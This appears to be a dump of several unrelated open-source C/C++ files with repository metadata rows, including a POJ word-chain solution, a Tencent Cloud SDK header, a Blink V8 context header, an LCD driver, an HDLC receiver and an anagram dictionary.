const size_t UPPER_THIRTY_TWO_MASK = LOWER_THIRTY_TWO_MASK << THIRTY_TWO;
void readchrom(const char* filename, string& longseq);
char complement(int i);
string revcomp(const string& s);
bool compare_pair_region(const pair<size_t, size_t>& lhs, const pair<size_t, size_t>& rhs);
string basename2(string filename);
enum FILTERED_TYPE
{
NOT_FILTERED,
FILTERED_BY_SMALL_ANCHOR,
FILTERED_BY_SMALL_DELETION,
FILTERED_BY_LARGE_MULTIPLE_PAIRED,
FILTERED_BY_LARGE_MIN_ANCHOR_DIFF,
FILTERED_BY_UNBALANCED_LEFT_RIGHT_PAIR,
FILTERED_BY_NOPAIRED,
FILTERED_BY_INSERTION,
FILTERED_BY_LARGE_MISMATCH,
FILTERED_BY_NONCAN_ERROR,
FILTERED_BY_NONCAN_ENTROPY,
FILTERED_BY_NONCAN_MULTI,
FILTERED_BY_NONCAN_LEFT_RIGHT_PAIR,
FILTERED_BY_CAN_ENTROPY,
FILTERED_BY_ENTROPY,
FILTERED_BY_FUSION_SMALL_ANCHOR,
FILTERED_BY_FUSION_SMALL_DELETION,
FILTERED_BY_FUSION_LARGE_MULTIPLE_PAIRED,
FILTERED_BY_FUSION_LARGE_MIN_ANCHOR_DIFF,
FILTERED_BY_FUSION_UNBALANCED_LEFT_RIGHT_PAIR,
FILTERED_BY_FUSION_NOPAIRED,
FILTERED_BY_FUSION_INSERTION,
FILTERED_BY_FUSION_LARGE_MISMATCH,
FILTERED_BY_FUSION_NONCAN_ERROR,
FILTERED_BY_FUSION_NONCAN_ENTROPY,
FILTERED_BY_FUSION_NONCAN_MULTI,
FILTERED_BY_FUSION_NONCAN_LEFT_RIGHT_PAIR,
FILTERED_BY_FUSION_CAN_ENTROPY,
FILTERED_BY_FUSION_LOW_COVERAGE,
FILTERED_BY_FUSION_ISOLATED_EXON,
FILTERED_BY_FUSION_NO_EXON,
FILTERED_BY_FUSION_LARGE_MIN_MISMATCH,
FILTERED_BY_FUSION_SMALL_ENTROPY,
};
enum PAIRED_TYPE
{
NORMAL_PAIRED,
FUSION_PAIRED,
SINGLE,
UNMAPPED,
};
//extern class SamRec;
extern size_t mate_dist_sd;
extern size_t intron_dist_sd;
extern size_t max_anchor_diff;
extern size_t boundary;
extern size_t fusion_region;
extern size_t buf_size;
extern size_t threads_number;
extern double fragment_length;
extern double fragment_length_sd;
extern double avearge_fragment_length;
extern size_t global_do_filter;
extern size_t min_isoform_length;
extern size_t min_encompass_count;
extern double min_entropy;
extern bool disable_unmapped;
extern vector<vector<int> >* graph_ptr;
extern vector<size_t> DFS_stack;
extern vector<int> DFS_in_stack;
extern vector<vector<int> >* stored_path_ptr;
extern void DFS_VISIT(size_t u, int path_type);
extern void DFS(vector<vector<int> >& graph, vector<vector<int> >& stored_path, size_t u);
extern void DFS_VISIT(size_t u, int path_type);
#ifdef LINUX
extern pthread_mutex_t inc_num_threads;
extern pthread_mutex_t fusion_lock;
#endif
extern size_t doner_side_spanning_pairs_count;
extern size_t accetpr_side_spanning_pairs_count;
extern size_t single_spanning_count;
extern size_t spliceway_true_count;
extern size_t m_fusion_encompassing_reads_doner_count;
extern size_t m_fusion_encompassing_reads_acceptor_count;
extern size_t m_min_mate_dist;
extern ofstream* doner_side_spanning_pairs_ofs;
extern ofstream* accetpr_side_spanning_pairs_ofs;
extern ofstream* single_spanning_ofs;
extern ofstream* spliceway_true_ofs;
extern ofstream* m_fusion_encompassing_reads_doner_ofs;
extern ofstream* m_fusion_encompassing_reads_acceptor_ofs;
#endif
//static const string Is(500, 'I');
| [
"pilarnatividad@gmail.com"
] | pilarnatividad@gmail.com |
561378a898f466f8e3fcf0e09a7808322110c9ca | 8239562e9d1620ae942db148f7a5775874fa1b55 | /1386.cpp | cb8066c0033bffd9a9ddf51597bd6de584abdf8b | [] | no_license | Higumabear/POJ | 1510d3dde88c3595d869cbd88fb12e138411c0c2 | e5d0823f00e5e1a0cc16b8652abb37ea823cb23a | refs/heads/master | 2020-04-01T19:25:04.098270 | 2017-11-22T02:18:56 | 2017-11-22T02:18:56 | 16,761,319 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,731 | cpp | // Time-stamp: <Fri Jul 28 02:07:47 東京 (標準時) 2017>
#include <sstream>
#include <string>
#include <vector>
#include <map>
#include <algorithm>
#include <iostream>
#include <utility>
#include <set>
#include <cctype>
#include <queue>
#include <stack>
#include <cstdio>
#include <cstdlib>
#include <cmath>
#include <cstring>
#include <numeric>
typedef long long ll;
#define INF 1 << 29
#define LLINF 1LL << 60
#define EPS 1e-6
#define ALL(c) (c).begin(), (c).end()
#define CNT(c,x) count(ALL(c),x)
#define dump(x) cerr << #x << " = " << (x) << endl;
template<typename A, size_t N, typename T>
void FILL(A (&array)[N], const T &val){
std::fill( (T*)array, (T*)(array+N), val );
}
using namespace std;
char s[1100];
int main(int argc, char **argv){
int n, t;
scanf("%d", &t);
while(t--){
scanf("%d", &n);
int in[26] = {0};
int out[26] = {0};
bool appear[26] = {false};
bool adj[26][26] = {false};
for(int i = 0; i < n; i++){
scanf("%s", &s);
int l = strlen(s);
out[s[0] - 'a']++;
in[s[l - 1] - 'a']++;
adj[s[0] - 'a'][s[l - 1] - 'a'] = true;
appear[s[0] - 'a'] = appear[s[l - 1] - 'a'] = true;
}
int a = 0;
bool flag = true;
for(int i = 0; i < 26; i++){
a += (in[i] != out[i]);
flag &= (abs(out[i] - in[i]) < 2);
adj[i][i] = true;
}
for(int k = 0; k < 26; k++)
for(int i = 0; i < 26; i++)
for(int j = 0; j < 26; j++)
adj[i][j] |= (adj[i][k] && adj[k][j]);
for(int i = 0; i < 26; i++)
for(int j = 0; j < 26; j++)
if(appear[i] && appear[j])
flag &= (adj[i][j] || adj[j][i]);
printf("%s\n", flag && a <= 2 ? "Ordering is possible." : "The door cannot be opened.");
}
return 0;
}
| [
"sckkt1s.system@gmail.com"
] | sckkt1s.system@gmail.com |
c5fe28a3b3c1b52580836599a82f79e0a03f76b1 | 3ff1fe3888e34cd3576d91319bf0f08ca955940f | /teo/include/tencentcloud/teo/v20220901/model/Identification.h | e75ae0f5c20368d3437f6b74ae4dbf1906278af9 | [
"Apache-2.0"
] | permissive | TencentCloud/tencentcloud-sdk-cpp | 9f5df8220eaaf72f7eaee07b2ede94f89313651f | 42a76b812b81d1b52ec6a217fafc8faa135e06ca | refs/heads/master | 2023-08-30T03:22:45.269556 | 2023-08-30T00:45:39 | 2023-08-30T00:45:39 | 188,991,963 | 55 | 37 | Apache-2.0 | 2023-08-17T03:13:20 | 2019-05-28T08:56:08 | C++ | UTF-8 | C++ | false | false | 9,259 | h | /*
* Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef TENCENTCLOUD_TEO_V20220901_MODEL_IDENTIFICATION_H_
#define TENCENTCLOUD_TEO_V20220901_MODEL_IDENTIFICATION_H_
#include <string>
#include <vector>
#include <map>
#include <tencentcloud/core/utils/rapidjson/document.h>
#include <tencentcloud/core/utils/rapidjson/writer.h>
#include <tencentcloud/core/utils/rapidjson/stringbuffer.h>
#include <tencentcloud/core/AbstractModel.h>
#include <tencentcloud/teo/v20220901/model/AscriptionInfo.h>
#include <tencentcloud/teo/v20220901/model/FileAscriptionInfo.h>
namespace TencentCloud
{
namespace Teo
{
namespace V20220901
{
namespace Model
{
/**
* 站点验证信息
*/
class Identification : public AbstractModel
{
public:
Identification();
~Identification() = default;
void ToJsonObject(rapidjson::Value &value, rapidjson::Document::AllocatorType& allocator) const;
CoreInternalOutcome Deserialize(const rapidjson::Value &value);
/**
* 获取站点名称。
* @return ZoneName 站点名称。
*
*/
std::string GetZoneName() const;
/**
* 设置站点名称。
* @param _zoneName 站点名称。
*
*/
void SetZoneName(const std::string& _zoneName);
/**
* 判断参数 ZoneName 是否已赋值
* @return ZoneName 是否已赋值
*
*/
bool ZoneNameHasBeenSet() const;
/**
* 获取验证子域名。验证站点时,该值为空。验证子域名是为具体子域名。
注意:此字段可能返回 null,表示取不到有效值。
* @return Domain 验证子域名。验证站点时,该值为空。验证子域名是为具体子域名。
注意:此字段可能返回 null,表示取不到有效值。
*
*/
std::string GetDomain() const;
/**
* 设置验证子域名。验证站点时,该值为空。验证子域名是为具体子域名。
注意:此字段可能返回 null,表示取不到有效值。
* @param _domain 验证子域名。验证站点时,该值为空。验证子域名是为具体子域名。
注意:此字段可能返回 null,表示取不到有效值。
*
*/
void SetDomain(const std::string& _domain);
/**
* 判断参数 Domain 是否已赋值
* @return Domain 是否已赋值
*
*/
bool DomainHasBeenSet() const;
/**
* 获取验证状态,取值有:
<li> pending:验证中;</li>
<li> finished:验证完成。</li>
* @return Status 验证状态,取值有:
<li> pending:验证中;</li>
<li> finished:验证完成。</li>
*
*/
std::string GetStatus() const;
/**
* 设置验证状态,取值有:
<li> pending:验证中;</li>
<li> finished:验证完成。</li>
* @param _status 验证状态,取值有:
<li> pending:验证中;</li>
<li> finished:验证完成。</li>
*
*/
void SetStatus(const std::string& _status);
/**
* 判断参数 Status 是否已赋值
* @return Status 是否已赋值
*
*/
bool StatusHasBeenSet() const;
/**
* 获取站点归属权校验:Dns校验信息。
* @return Ascription 站点归属权校验:Dns校验信息。
*
*/
AscriptionInfo GetAscription() const;
/**
* 设置站点归属权校验:Dns校验信息。
* @param _ascription 站点归属权校验:Dns校验信息。
*
*/
void SetAscription(const AscriptionInfo& _ascription);
/**
* 判断参数 Ascription 是否已赋值
* @return Ascription 是否已赋值
*
*/
bool AscriptionHasBeenSet() const;
/**
* 获取域名当前的 NS 记录。
注意:此字段可能返回 null,表示取不到有效值。
* @return OriginalNameServers 域名当前的 NS 记录。
注意:此字段可能返回 null,表示取不到有效值。
*
*/
std::vector<std::string> GetOriginalNameServers() const;
/**
* 设置域名当前的 NS 记录。
注意:此字段可能返回 null,表示取不到有效值。
* @param _originalNameServers 域名当前的 NS 记录。
注意:此字段可能返回 null,表示取不到有效值。
*
*/
void SetOriginalNameServers(const std::vector<std::string>& _originalNameServers);
/**
* 判断参数 OriginalNameServers 是否已赋值
* @return OriginalNameServers 是否已赋值
*
*/
bool OriginalNameServersHasBeenSet() const;
/**
* 获取站点归属权校验:文件校验信息。
* @return FileAscription 站点归属权校验:文件校验信息。
*
*/
FileAscriptionInfo GetFileAscription() const;
/**
* 设置站点归属权校验:文件校验信息。
* @param _fileAscription 站点归属权校验:文件校验信息。
*
*/
void SetFileAscription(const FileAscriptionInfo& _fileAscription);
/**
* 判断参数 FileAscription 是否已赋值
* @return FileAscription 是否已赋值
*
*/
bool FileAscriptionHasBeenSet() const;
private:
/**
* 站点名称。
*/
std::string m_zoneName;
bool m_zoneNameHasBeenSet;
/**
* 验证子域名。验证站点时,该值为空。验证子域名是为具体子域名。
注意:此字段可能返回 null,表示取不到有效值。
*/
std::string m_domain;
bool m_domainHasBeenSet;
/**
* 验证状态,取值有:
<li> pending:验证中;</li>
<li> finished:验证完成。</li>
*/
std::string m_status;
bool m_statusHasBeenSet;
/**
* 站点归属权校验:Dns校验信息。
*/
AscriptionInfo m_ascription;
bool m_ascriptionHasBeenSet;
/**
* 域名当前的 NS 记录。
注意:此字段可能返回 null,表示取不到有效值。
*/
std::vector<std::string> m_originalNameServers;
bool m_originalNameServersHasBeenSet;
/**
* 站点归属权校验:文件校验信息。
*/
FileAscriptionInfo m_fileAscription;
bool m_fileAscriptionHasBeenSet;
};
}
}
}
}
#endif // !TENCENTCLOUD_TEO_V20220901_MODEL_IDENTIFICATION_H_
| [
"tencentcloudapi@tencent.com"
] | tencentcloudapi@tencent.com |
7ff1eed3e53ca98fa6a0acd98b0b3dad7c39ee49 | d00a0a5b880c76a2a389ddde3f9c5433a3e96d3e | /src/lv-driver/display/lcd.h | 840e2d058edbc09bc0e63d346dc5d55c3371058b | [
"MIT"
] | permissive | lv-e/driver-photon | 2d24dc80913be434b92909e5d9c21a263379b0f3 | 484698e96ba88c08dc288852141dce36f913cfca | refs/heads/master | 2023-01-28T21:08:01.428889 | 2020-11-29T03:16:53 | 2020-11-29T03:16:53 | 286,270,916 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,927 | h | #pragma once
#include "lv-driver/display/pins.h"
#include "lv-driver/display/geometry.h"
#include "lv-engine/engine.h"
#include "lv-game/lvk.h"
const unsigned short lcd_width = lvk_display_w;
const unsigned short lcd_height = lvk_display_h;
const unsigned short lcd_pixels = lcd_width * lcd_height;
static lv::half palette[32] = {
0b0000000000000000,
0b0000011000100001,
0b0100011101000001,
0b1100011001100001,
0b1010011110001010,
0b1000010011011011,
0b0000110011011101,
0b0001001111101110,
0b1000011011111111,
0b0010101010011111,
0b1110011001101101,
0b1010110100110100,
0b0100010101001011,
0b0100010001010010,
0b1110011100110001,
0b1110111000111001,
0b0001000000110011,
0b0111110001011011,
0b1101000000110010,
0b0111110001011110,
0b1101111111001110,
0b1111111111111111,
0b0111011010011101,
0b1111000010000011,
0b0100110101101011,
0b1010101001011010,
0b0001000101110010,
0b1000011010101001,
0b1010110011011010,
0b1101011111010011,
0b1010100110001100,
0b0110011010001011
};
class LCD {
public:
static LCD& shared(){
static LCD instance;
return instance;
}
void setup();
void loop();
bool waitingFrame();
void beginDrawing();
void drawLine(unsigned short (&data)[lvk_display_w]);
void endDrawing();
~LCD(void);
private:
LCD(
Region region = Region(lcd_width, lcd_height),
Pins pins = Pins()
);
Region _drawRegion;
Pins _pins;
bool _ready;
void configureSPI();
void configureGPIO();
void configureInterrupts();
void configureDrawRegion();
void writeOnRegister(unsigned char index, unsigned int data);
void writeTupleOnRegister(unsigned char index, unsigned char A, unsigned char B);
void sendResetCommand();
void sendStartupSequence();
}; | [
"luizgustavolino@gmail.com"
] | luizgustavolino@gmail.com |
657e342dbc4215b0a43b2a826074b7791615c496 | 89dedd7f3c7acc81d12e2bcb2e716f9af9e5fa04 | /third_party/WebKit/Source/bindings/core/v8/V8PerContextData.h | 7352b64d4e5e6d3af0de8b7c7bb500fb8a722431 | [
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MIT",
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.1-only",
"GPL-2.0-only",
"LGPL-2.0-only",
"BSD-2-Clause",
"LicenseRef-scancode-other-copyleft",
"BSD-3-Clause"
] | permissive | bino7/chromium | 8d26f84a1b6e38a73d1b97fea6057c634eff68cb | 4666a6bb6fdcb1114afecf77bdaa239d9787b752 | refs/heads/master | 2022-12-22T14:31:53.913081 | 2016-09-06T10:05:11 | 2016-09-06T10:05:11 | 67,410,510 | 1 | 3 | BSD-3-Clause | 2022-12-17T03:08:52 | 2016-09-05T10:11:59 | null | UTF-8 | C++ | false | false | 5,138 | h | /*
* Copyright (C) 2012 Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following disclaimer
* in the documentation and/or other materials provided with the
* distribution.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef V8PerContextData_h
#define V8PerContextData_h
#include "bindings/core/v8/ScopedPersistent.h"
#include "bindings/core/v8/V0CustomElementBinding.h"
#include "bindings/core/v8/V8GlobalValueMap.h"
#include "bindings/core/v8/WrapperTypeInfo.h"
#include "core/CoreExport.h"
#include "gin/public/context_holder.h"
#include "gin/public/gin_embedders.h"
#include "wtf/Allocator.h"
#include "wtf/HashMap.h"
#include "wtf/Vector.h"
#include "wtf/text/AtomicString.h"
#include "wtf/text/AtomicStringHash.h"
#include <memory>
#include <v8.h>
namespace blink {
class V8DOMActivityLogger;
class V8PerContextData;
enum V8ContextEmbedderDataField {
v8ContextPerContextDataIndex = static_cast<int>(gin::kPerContextDataStartIndex + gin::kEmbedderBlink),
};
class CORE_EXPORT V8PerContextData final {
USING_FAST_MALLOC(V8PerContextData);
WTF_MAKE_NONCOPYABLE(V8PerContextData);
public:
static std::unique_ptr<V8PerContextData> create(v8::Local<v8::Context>);
static V8PerContextData* from(v8::Local<v8::Context>);
~V8PerContextData();
v8::Local<v8::Context> context() { return m_context.newLocal(m_isolate); }
// To create JS Wrapper objects, we create a cache of a 'boiler plate'
// object, and then simply Clone that object each time we need a new one.
// This is faster than going through the full object creation process.
v8::Local<v8::Object> createWrapperFromCache(const WrapperTypeInfo* type)
{
v8::Local<v8::Object> boilerplate = m_wrapperBoilerplates.Get(type);
return !boilerplate.IsEmpty() ? boilerplate->Clone() : createWrapperFromCacheSlowCase(type);
}
v8::Local<v8::Function> constructorForType(const WrapperTypeInfo* type)
{
v8::Local<v8::Function> interfaceObject = m_constructorMap.Get(type);
return (!interfaceObject.IsEmpty()) ? interfaceObject : constructorForTypeSlowCase(type);
}
v8::Local<v8::Object> prototypeForType(const WrapperTypeInfo*);
void addCustomElementBinding(std::unique_ptr<V0CustomElementBinding>);
V8DOMActivityLogger* activityLogger() const { return m_activityLogger; }
void setActivityLogger(V8DOMActivityLogger* activityLogger) { m_activityLogger = activityLogger; }
v8::Local<v8::Value> compiledPrivateScript(String);
void setCompiledPrivateScript(String, v8::Local<v8::Value>);
private:
V8PerContextData(v8::Local<v8::Context>);
v8::Local<v8::Object> createWrapperFromCacheSlowCase(const WrapperTypeInfo*);
v8::Local<v8::Function> constructorForTypeSlowCase(const WrapperTypeInfo*);
v8::Isolate* m_isolate;
// For each possible type of wrapper, we keep a boilerplate object.
// The boilerplate is used to create additional wrappers of the same type.
typedef V8GlobalValueMap<const WrapperTypeInfo*, v8::Object, v8::kNotWeak> WrapperBoilerplateMap;
WrapperBoilerplateMap m_wrapperBoilerplates;
typedef V8GlobalValueMap<const WrapperTypeInfo*, v8::Function, v8::kNotWeak> ConstructorMap;
ConstructorMap m_constructorMap;
std::unique_ptr<gin::ContextHolder> m_contextHolder;
ScopedPersistent<v8::Context> m_context;
ScopedPersistent<v8::Value> m_errorPrototype;
typedef Vector<std::unique_ptr<V0CustomElementBinding>> V0CustomElementBindingList;
V0CustomElementBindingList m_customElementBindings;
// This is owned by a static hash map in V8DOMActivityLogger.
V8DOMActivityLogger* m_activityLogger;
V8GlobalValueMap<String, v8::Value, v8::kNotWeak> m_compiledPrivateScript;
};
} // namespace blink
#endif // V8PerContextData_h
| [
"bino.zh@gmail.com"
] | bino.zh@gmail.com |
f6dac81fe45314d978c1a738d5ea3d56d35831c5 | 1f692873720d3bc7dee3a49dfc667d93610f1956 | /firmware/caboodle/src/hdlc_receiver.cpp | b1cdad539b25ce76ef9db863cd453c4e0b6e4ba3 | [] | no_license | JanusErasmus/LEDtable | 8b5db8cb0cfec707f6835cb99254413b8c99396a | 7f2aa6dbfca32c5b8b3ec3a21f4e793716044336 | refs/heads/master | 2021-01-21T06:18:26.069880 | 2018-02-26T07:15:20 | 2018-02-26T07:15:20 | 83,204,563 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 904 | cpp | #include <hdlc_receiver.h>
#include <utils.h>
#define TRACE(_x, ...) INFO_TRACE("cHDLCreceiver", _x, ##__VA_ARGS__)
cHDLCreceiver::cHDLCreceiver(cyg_uint32 len) : mFramer(len)
{
}
void cHDLCreceiver::pack(cyg_uint8 *buff, cyg_uint32 len)
{
for(cyg_uint32 k = 0; k < len; k++)
{
int rxLen = mFramer.pack(buff[k]);
if(rxLen > 0)
{
cyg_uint8 *p = mFramer.buffer();
cyg_uint32 frameLen = 0;
cyg_uint8 data[1024];
for(int k = 0; k < rxLen; k++)
{
if(p[k] == 0x7D)
{
data[frameLen++] = p[++k] ^ 0x20;
}
else
data[frameLen++] = p[k];
}
handleData(data, frameLen);
}
}
}
void cHDLCreceiver::handleData(cyg_uint8 *buff, cyg_uint32 len)
{
TRACE("RX %d\n", len);
diag_dump_buf(buff, len);
}
cHDLCreceiver::~cHDLCreceiver()
{
}
| [
"janus@kses.net"
] | janus@kses.net |
cae04ead2d5c0fa163d74af6b3068dfe8a23b097 | a75d0418b2143d6f59635a8833bff49bc903df5e | /DofusMessages/HouseToSellListMessage.h | 7123644f2289fcc5c61cc453a996b7cd82da2d44 | [] | no_license | Arkwell9112/dofus_bot | 30b80850ba41b6a2b562705ec8aa1a6c87cfb8f8 | fc1b805b70c0ed43cbc585322806ece89d057585 | refs/heads/master | 2023-01-16T01:08:06.710649 | 2020-11-23T20:53:00 | 2020-11-23T20:53:00 | 314,084,045 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 593 | h | #ifndef HOUSETOSELLLISTMESSAGE_H
#define HOUSETOSELLLISTMESSAGE_H
#include "../BotCoreAPI/BotCoreAPI.h"
#include "../DofusTypes/HouseInformationsForSell.h"
#include "../DofusTypes/HouseInformations.h"
#include <string>
#include <vector>
class HouseToSellListMessage : public DeserializeInterface {
public:
unsigned int pageIndex = 0;
unsigned int totalPage = 0;
std::vector<HouseInformationsForSell> houseList;
void deserialize(CustomDataInput *input);
private:
void _pageIndexFunc(CustomDataInput *input);
void _totalPageFunc(CustomDataInput *input);
};
#endif | [
"arkwell9112@github.com"
] | arkwell9112@github.com |
6fe5fc4899c2c705ad4babce0a835a237497f048 | 8fe25232b435cfe2d4ca55e6d864e1a9ec497c45 | /lua_bind/lb_bsdf.h | 4309298f2ea62f789503062cee4727510dcf6d5f | [
"MIT"
] | permissive | capagot/swpathtracer | 0aaaf8cb957066393bb53f00cbe7a46361e427ba | 613045f5bf75e0295a5cdcc60bebdfb8a534f4ae | refs/heads/master | 2021-04-09T16:52:55.272386 | 2019-12-20T23:58:38 | 2019-12-20T23:58:38 | 55,917,517 | 18 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 479 | h | #ifndef LUA_BIND_LB_BSDF_H
#define LUA_BIND_LB_BSDF_H
namespace lb {
struct BSDF {
enum class Type { NONE, LAMBERTIAN, SMOOTH_CONDUCTOR, SMOOTH_DIELECTRIC, COOK_TORRANCE };
enum class SamplerType { NONE, UNIFORM, IMPORTANCE };
BSDF(Type type, SamplerType sampler_type) : type_(type), sampler_type_(sampler_type) {}
virtual ~BSDF() = 0;
Type type_;
SamplerType sampler_type_;
float roughness_;
};
} // namespace lb
#endif // LUA_BIND_LB_BSDF_H
| [
"christian.azambuja@gmail.com"
] | christian.azambuja@gmail.com |
fda0ba3ffce0475634958441cb12d76989311b2f | 4f87dd17943216852d7228c4f37f46a3e3dec9a8 | /week_2/exc_1/main.cpp | 18b5e593c8ada52efe4a813a03d464b1bd9f26de | [] | no_license | gorsheninmv/algorithms | b73edf6763f67ba1d6404cc5d53070a0a255058a | 1677d249a70f9ee91deb348b5a5ff9dda5449cc6 | refs/heads/master | 2021-01-24T10:38:25.214341 | 2018-04-08T20:34:19 | 2018-04-08T20:34:19 | 123,056,695 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,094 | cpp | #include <iostream>
#include <algorithm>
#include <cstring>
#ifdef DEBUG
extern "C" {
#include <io.h>
}
#else
#include "edx-io.h"
#endif
#define PRINT_SPACE edx_print_char(' ');
#define PRINT_NEW_LINE edx_print_char('\n');
template <typename T>
void merge(T * _l, T * _m, T * _r) {
auto l_cnt = _m - _l + 1;
auto r_cnt = _r - _m;
auto T_sz = sizeof(T);
auto l = new T[l_cnt];
auto r = new T[r_cnt];
std::memcpy(l, _l, T_sz * l_cnt);
std::memcpy(r, _m + 1, T_sz * r_cnt);
auto l_ptr = l;
auto r_ptr = r;
auto out_ptr = _l;
while (l_ptr < l + l_cnt && r_ptr < r + r_cnt) {
*(out_ptr++) = *l_ptr <= *r_ptr ? *(l_ptr++) : *(r_ptr++);
}
if (l_ptr < l + l_cnt) {
std::memcpy(out_ptr, l_ptr, T_sz * (l + l_cnt - l_ptr));
}
if (r_ptr < r + r_cnt) {
std::memcpy(out_ptr, r_ptr, T_sz * (r + r_cnt - r_ptr));
}
}
template <typename T>
void print_metadata(T * _arr, T * _l, T * _r) {
edx_print_i32(_l - _arr + 1);
PRINT_SPACE;
edx_print_i32(_r - _arr + 1);
PRINT_SPACE;
edx_print_i32(*_l);
PRINT_SPACE;
edx_print_i32(*_r);
PRINT_NEW_LINE;
}
template <typename T>
void merge_sort(T* _arr, T * _l, T * _r) {
auto c = _r - _l;
if (c <= 0) return; // когда остается один элемент то выход
if (c == 1) { // когда 2 элемента, то swap при необходимости
if (*_l > *_r) std::swap(*_l, *_r);
print_metadata(_arr, _l, _r);
return;
}
// рекурсивный вызов
auto m = (_r - _l) / 2 + _l;
merge_sort(_arr, _l, m);
merge_sort(_arr, m + 1, _r);
merge(_l, m, _r);
print_metadata(_arr, _l, _r);
}
int main() {
edx_open();
auto sz = edx_next_i32();
auto ar = new int[sz];
for (auto pt = ar; pt != ar + sz; ++pt) {
*pt = edx_next_i32();
}
merge_sort<int>(ar, ar, ar + sz - 1);
for (auto pt = ar; pt != ar + sz; ++pt) {
edx_print_i32(*pt);
PRINT_SPACE;
}
edx_close();
return 0;
} | [
"gorshenin.mv@gmail.com"
] | gorshenin.mv@gmail.com |
4ed9dd22df1ef246375b4c7a86f7757518e4c6a3 | b161aed1e38692e69e67ef9c2a2e2bae7171829b | /C++_map/anagram_dict.cpp | b90d843bd4f511834e4d81427f71c06333f3b913 | [] | no_license | Xuefeng4/Data_structure-Algorithm | 4a0f9c5e37f0fe843f6000af21a2f92dbf709bc6 | 38dc1e093831df78875220acdf4944a12f5b1bab | refs/heads/master | 2020-05-24T09:31:28.260754 | 2019-05-17T12:35:19 | 2019-05-17T12:35:19 | 187,207,764 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,390 | cpp | /**
* @file anagram_dict.cpp
* Implementation of the AnagramDict class.
*
* @author Matt Joras
* @date Winter 2013
*/
#include "anagram_dict.h"
#include <algorithm> /* I wonder why this is included... */
#include <fstream>
#include <iostream>
using std::string;
using std::vector;
using std::ifstream;
/**
* Constructs an AnagramDict from a filename with newline-separated
* words.
* @param filename The name of the word list file.
*/
AnagramDict::AnagramDict(const string& filename)
{
/* Your code goes here! */
ifstream wordsFile(filename);
string word;
if (wordsFile.is_open()) {
/* Reads a line from `wordsFile` into `word` until the file ends. */
while (getline(wordsFile, word)) {
string value = word;
sort(value.begin(),value.end());
dict[value].push_back(word);
}
}
}
/**
* Constructs an AnagramDict from a vector of words.
* @param words The vector of strings to be used as source words.
*/
AnagramDict::AnagramDict(const vector<string>& words)
{
/* Your code goes here! */
for(auto it = words.begin(); it != words.end(); it++){
string value = *it;
sort(value.begin(),value.end());
dict[value].push_back(*it);
}
}
/**
* @param word The word to find anagrams of.
* @return A vector of strings of anagrams of the given word. Empty
* vector returned if no anagrams are found or the word is not in the
* word list.
*/
vector<string> AnagramDict::get_anagrams(const string& word) const
{
/* Your code goes here! */
std::vector<string> v;
string tmp = word;
sort(tmp.begin(),tmp.end());
auto it = dict.find(tmp);
if(it == dict.end()){
return v;
}
else{
if((it->second).size()==1) return v;
else return it->second;
}
}
/**
* @return A vector of vectors of strings. Each inner vector contains
* the "anagram siblings", i.e. words that are anagrams of one another.
* NOTE: It is impossible to have one of these vectors have less than
* two elements, i.e. words with no anagrams are ommitted.
*/
vector<vector<string>> AnagramDict::get_all_anagrams() const
{
/* Your code goes here! */
vector<vector<string>> ret;
for(auto i : dict){
std::vector<string> tmp;
tmp = get_anagrams(i.first);
if(!tmp.empty()){
ret.push_back(tmp);
}
}
return ret;
}
| [
"ivenqin@yahoo.com"
] | ivenqin@yahoo.com |
a3a8e9d6979977c5d91676efbd41276c0e8abadf | 4cfbccc070d8744b76e3c54eb7a2743ecfe82690 | /libevwork_full/pbmfc/MfcAppContext.h | 0b41af5f9cf272a140ad78bec3890473a041cd60 | [] | no_license | oasangqi/c-libs | ab9a504937712743b95fadaa8e56e48f32c20dc8 | f7632377146844f3b38eb6bf7b7a9567f3ab0571 | refs/heads/master | 2021-06-10T06:40:37.500580 | 2021-04-24T08:24:49 | 2021-04-24T08:24:49 | 144,525,989 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 820 | h | //============================================================================
// Name : MfcAppContext.h
// Author : kdjie
// Version : 1.0
// Copyright : @2015
// Description : 14166097@qq.com
//============================================================================
#pragma once
#include "FormDef.h"
